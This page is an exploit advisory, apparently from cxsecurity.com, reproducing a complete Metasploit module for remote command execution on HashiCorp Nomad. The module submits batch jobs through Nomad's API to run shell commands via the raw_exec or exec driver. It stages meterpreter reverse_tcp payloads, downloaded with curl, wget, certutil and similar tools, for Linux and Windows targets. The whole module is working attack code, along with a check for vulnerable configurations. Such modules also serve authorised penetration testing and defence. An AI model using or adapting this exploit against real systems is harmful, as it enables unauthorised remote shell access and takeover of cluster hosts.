HashiCorp Nomad Remote Command Execution

2021.06.15
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'HashiCorp Nomad Remote Command Execution', 'Description' => %q{ Create a batch job on HashiCorp's Nomad service to spawn a shell. The default option is to use the 'raw_exec' driver, which runs with high privileges. Development servers and client's explicitly enabling the 'raw_exec' plugin can spawn these type of jobs. Regular 'exec' jobs can be created in a similar fashion at a lower privilege level. }, 'License' => MSF_LICENSE, 'Author' => [ 'Wyatt Dahlenburg (@wdahlenb)', ], 'References' => [ [ 'URL', 'https://www.nomadproject.io/' ] ], 'Targets' => [ [ 'Linux', { 'Platform' => 'linux', 'CmdStagerFlavor' => ['bourne', 'echo', 'printf', 'curl', 'wget'], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'WfsDelay' => 10 } } ], [ 'Windows', { 'Platform' => 'win', 'CmdStagerFlavor' => [ 'psh_invokewebrequest', 'certutil', 'vbs' ], 'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp', 'WfsDelay' => 10 } } ] ], 'Payload' => {}, 'Privileged' => false, 'DefaultTarget' => 0, 'DisclosureDate' => '2021-05-17', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], 'SideEffects' => [REPEATABLE_SESSION] } ) ) register_options( [ OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']), OptString.new('DATACENTER', [true, 'The datacenter to run against', 'dc1']), OptString.new('JOB_NAME', [true, 'Name of job to run (default random)', '']), OptString.new('JOB_TYPE', [true, 'Driver (raw_exec or exec)', 'raw_exec']), Opt::RPORT(4646), OptString.new('TARGETURI', [true, 'The base path', '/']), OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]) ] ) end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/v1/agent/self'), 'headers' => { 'X-Nomad-Token' => datastore['ACL_TOKEN'] } }) unless res vprint_error 'Connection failed' return CheckCode::Unknown end unless res.code == 200 vprint_error 'Unexpected reply' return CheckCode::Safe end agent_info = JSON.parse(res.body) if agent_info['config']['Plugins'] agent_info['config']['Plugins'].each do |plugin| if plugin['Name'] == 'raw_exec' && plugin['Config']['enabled'] == true return CheckCode::Vulnerable end end end if agent_info['config']['Client']['Options']['driver.raw_exec.enable'] == 'true' || agent_info['config']['Client']['Options']['driver.raw_exec.enable'] == '1' return CheckCode::Vulnerable end if datastore['JOB_TYPE'] == 'raw_exec' && agent_info['config']['Client']['DisableRemoteExec'] == false print_status 'raw_exec doesn\'t appear to be supported. Try setting JOB_TYPE to exec instead.' return CheckCode::Appears elsif datastore['JOB_TYPE'] == 'exec' && agent_info['config']['Client']['DisableRemoteExec'] == false return CheckCode::Vulnerable end CheckCode::Safe rescue JSON::ParserError vprint_error 'Failed to parse JSON output.' return CheckCode::Unknown end def execute_command(cmd, _opts = {}) uri = target_uri.path job_name = datastore['JOB_NAME'] == '' ? Rex::Text.rand_text_alpha(5..10) : datastore['JOB_NAME'] print_status("Creating job '#{job_name}'") case target.name when /Linux/ arg1 = 'sh' arg2 = '-c' when /Windows/ arg1 = 'cmd.exe' arg2 = '/c' end res = send_request_cgi({ 'method' => 'PUT', 'uri' => normalize_uri(uri, 'v1/jobs'), 'headers' => { 'X-Nomad-Token' => datastore['ACL_TOKEN'] }, 'ctype' => 'application/json', 'data' => { Job: { ID: job_name, Name: job_name, Type: 'batch', Datacenters: [datastore['DATACENTER']], TaskGroups: [ { Name: job_name, Count: 1, Tasks: [ { Name: job_name, Driver: datastore['JOB_TYPE'], User: '', Config: { command: arg1, args: [ arg2, cmd.to_s ] }, Resources: { CPU: 500, MemoryMB: 256 }, LogConfig: { MaxFiles: 1, MaxFileSizeMB: 1 } } ], RestartPolicy: { Attempts: 0 }, EphemeralDisk: { SizeMB: 300 } } ] } }.to_json }) unless res && res.code == 200 fail_with(Failure::UnexpectedReply, 'An error occured when contacting the Nomad API.') end job_info = JSON.parse(res.body) eval_id = job_info['EvalID'] print_status("Job '#{job_name}' successfully created as '#{eval_id}'.") print_status("Waiting for job '#{job_name}' to trigger") rescue JSON::ParserError vprint_error 'Failed to parse JSON output.' end def exploit execute_cmdstager end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top